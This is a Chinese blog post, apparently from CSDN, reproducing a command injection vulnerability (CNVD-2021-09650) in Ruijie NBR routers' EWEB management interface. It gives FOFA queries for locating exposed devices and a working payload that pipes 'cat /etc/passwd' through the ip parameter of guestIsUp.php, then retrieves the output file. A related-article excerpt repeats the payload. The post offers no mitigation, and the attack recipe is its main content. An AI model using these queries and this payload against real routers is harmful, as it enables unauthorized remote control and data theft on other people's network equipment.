锐捷 NBR路由器 远程命令执行漏洞（CNVD-2021-09650）

最新推荐文章于 2025-02-12 20:20:17 发布
最新推荐文章于 2025-02-12 20:20:17 发布
阅读量1.1w 收藏 10
点赞数 3
分类专栏： 漏洞复现 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_35938621/article/details/124182275
版权

漏洞描述

i ⭐锐捷NBR路由器 EWEB网管系统部分接口存在命令注入，导致远程命令执行获取权限

漏洞影响

s ✅锐捷NBR路由器 EWEB网管系统

空间测绘

d ⭕FOFA：title="锐捷网络-EWEB网管系统"

⭕FOFA：icon_hash="-692947551"

漏洞复现

  • ✅访问首页

image-20220414212324788

  • ✅执行Payload命令
POST /guest_auth/guestIsUp.php
mac=1&ip=127.0.0.1|cat /etc/passwd > test.txt

image-20220414212629480

  • 然后访问页面 /guest_auth/test.txt 就可以看到命令执行的结果

image-20220414212716512

个人博客

孤桜懶契：https://gylq.gitee.io/time

CNVD-2021-09650：锐捷NBR路由器(guestIsUp.php)RCE漏洞复现 [附POC]
薛定谔嘚喵博客
11-15 1414
锐捷网络是一家拥有包括交换机、路由器、软件、安全防火墙、无线产品、存储等全系列的网络设备产品线及解决方案的专业化网络厂商。锐捷NBR 路由器系统存在远程命令执行漏洞，攻击者通过漏洞可以获取服务器权限，导致服务器失陷。
代码审计-锐捷NBR路由器 EWEB网管系统 远程命令执行
正是修行时
10-29 556
​那天下着很大的雨，母亲从城里走回来的时候，浑身就是一个泥人，那一刻我就知道我没有别的选择了
锐捷NBR系列路由器存在管理员密码重置漏洞
weixin_43167326的博客
06-13 757
锐捷NBR系列路由是一家拥有包括交换机、路由器、软件、安全防火墙、无线产品、存储等全系列的网络设备产品线及解决方案的专业化网络厂商。某捷NBR系列多款路由器存在管理员密码重置漏洞，攻击者通过漏洞重置密码登录后台。
tenda路由器WriteFacMac存在远程命令执行漏洞(CVE-2024-10697)
最新发布
西米安全
02-12 627
tenda路由器WriteFacMac存在远程命令执行漏洞。
锐捷网络股份有限公司NBR路由器EWEB网管系统存在命令执行漏洞(CNVD-2021-09650)——漏洞复现
大大怪将军，你来啦！
06-11 1166
锐捷网络股份有限公司是一家拥有包括交换机、路由器、软件、安全防火墙、无线产品、存储等全系列的网络设备产品线及解决方案的专业化网络厂商。公开日期：2021-09-19漏洞编号：CNVD-2021-09650危害等级：高危漏洞描述：锐捷NBR路由器存在命令执行漏洞，攻击者可利用该漏洞获取服务器控制权。
锐捷NBR路由器远程命令执行漏洞(CNVD-2021-09650）
m0_49025459的博客
05-11 2151
锐捷网络股份有限公司NBR路由器EWEB网管系统存在命令执行漏洞，攻击者可利用该漏洞获取服务器控制权限。
Goby 漏洞更新｜锐捷网络 NBR路由器 webgl.data 信息泄露漏洞
m0_46699477的博客
05-27 2169
锐捷网络NBR700G路由器是锐捷网络股份有限公司的一款无线路由设备。锐捷网络NBR700G路由器存在信息漏洞，攻击者可利用该漏洞获取敏感信息。
锐捷NBR路由器 EWEB网管系统 远程命令执行漏洞 + GetShell
CCPxxxXxxx的博客
08-04 1万+
锐捷NBR路由器 EWEB网管系统 远程命令执行漏洞 + GetShell 漏洞编号： CNVD-2021-09650 漏洞描述：锐捷NBR路由器 EWEB网关系统部分接口存在命令注入，导致远程命令执行获取 漏洞影响： 锐捷NBR路由器 EWEB网关系统 漏洞复现： 首先打开网关系统 然后在URL后面加 /guest_auth/guestIsUp.php，此路径为漏洞存在地。 我们打开hacker Bar,在Post data 输入 mac=1&ip=127.0.0.1|cat /etc/pas
CNVD-2021-17369 smartweb管理系统管理员密码泄露.md
04-11
CNVD-2021-17369 smartweb管理系统管理员密码泄露
锐捷 RG-UAC 统一上网行为管理审计系统信息泄露漏洞（CNVD-2021-14536）
Fengxin的博客
11-03 1422
0x01 漏洞描述 锐捷RG-UAC统一上网行为管理审计系统存在账号密码信息泄露,可以间接获取用户账号密码信息登录后台 0x02 漏洞影响 锐捷RG-UAC统一上网行为管理审计系统 0x03 漏洞复现 使用FOFA语句包含关键字查找FOFA语句 title="RG-UAC登录页面" && body="admin" 登录界面 直接CTRL+U查看源代码，搜索password https://www.somd5.com/ 解密MD5加密的password 即可使用admin，密码登录进系
锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞 CNVD-2021-14536
WgpSec狼组安全团队
03-08 1583
声明 本文作者：PeiQi 本文字数：1030 阅读时长：5~6分钟 附件/链接：点击查看原文下载 本文属于【狼组安全社区】原创奖励计划，未经许可禁止转载 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，狼组安全团队以及文章作者不为此承担任何责任。 狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经狼组安全团队允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。 ..
锐捷NBR路由器fileupload.php任意文件上传漏洞
xiaokp7的博客
09-13 1788
锐捷NBR路由器是锐捷网络科技有限公司推出的一款高性能企业级路由器。NBR是"Next-Generation Broadband Router"的缩写，意为"下一代宽带路由器"。该路由器具有强大的处理能力和丰富的功能，适用于中小型企业、校园网络和数据中心等场景。锐捷 NBR 路由器 存在任意文件上传漏洞，可能导致执行恶意代码、服务器拒绝服务、数据泄露、网站篡改和横向渗透等危害。
锐捷路由器命令执行漏洞（CVE-2023-3450）
xiaokp7的博客
09-13 1172
RG-BCR860是锐捷网络推出的一款商业云路由器，它是专为酒店、餐饮、门店设计，适用带宽100Mbps,带机量可达150台，支持Sec VPM、内置安全审计模块，给商家带来更好的网络营销体验。该产品主支持全中文的WEB 界面配置，不再需要用传统的命令行进行配置，使得设备更加简单方便的进行维护和管理。RG-BCR860 2.5.13版本存在操作系统命令注入漏洞，该漏洞源于组件Network Diagnostic Page存在问题，会导致操作系统命令注入。
漏洞情报 | 锐捷RSR路由器设备存在命令执行漏洞
爱国小白帽
04-15 3405
​ 点击上方 订阅话题 第一时间了解漏洞威胁 0x01 漏洞描述 2021年4月14日，360漏洞云监测到锐捷网络官方通告了锐捷网络RSR路由器系列产品的Web管理存在命令执行漏洞（CNVD-2021-16887），远程攻击者在未授权的情况下可执行CLI命令，攻击者可利用该漏洞获取服务器控制权限。 0x02 影响版本 产品型号 软件版本 RSR10-02E/RSR20-04E 10.4(3b35)p6 Release(224254) 及之前的版本 RSR20-14E/F 10.4(3
锐捷路由器漏洞分析
banghengxun2661的博客
05-17 3939
0x00 前言 今早看到关于锐捷路由器漏洞CNVD-2018-06947 被披露POC，对于POC进行复现后，继续挖掘路由器漏洞。 0x01 复现 通过测试发现POC只能执行VERSION，也就是查看版本。复现的截图如下： 这个命令执行只能查看版本的感觉不太过瘾，只好尝试去挖掘漏洞。 0x02 漏洞挖掘 在NBR1300G-E存在COOKIE会话固定漏洞，利用这个漏洞结...
锐捷EG易网关与NBR路由器命令执行漏洞-2
热门推荐
1stPeak's Blog
08-09 1万+
锐捷EG易网关与NBR路由器——命令执行漏洞
锐捷网络NBR700G 信息泄露漏洞复现 [附POC]
薛定谔嘚喵博客
11-15 667
锐捷网络NBR700G路由器是锐捷网络股份有限公司的一款无线路由设备,锐捷网络NBR700G路由器存在信息漏洞。
锐捷网络NBR700G 信息泄露漏洞
weixin_43567873的博客
03-13 497
锐捷网络NBR700G 信息泄露漏洞
Goby 漏洞更新｜锐捷网络 NBR路由器 webgl，腾讯架构师首发
2301_82243100的博客
04-15 958
系统负荷过高，导致网络拥塞，建议降低系统负荷或重启路由器”) || body=“class=“line resource” id=“nbr_1”” || title=“锐捷网络 --NBR路由器–登录界面” || title==“锐捷网络”) && body!=“Server: couchdb”锐捷网络NBR700G路由器存在信息漏洞，攻击者可利用该漏洞获取敏感信息。IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

孤桜懶契

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值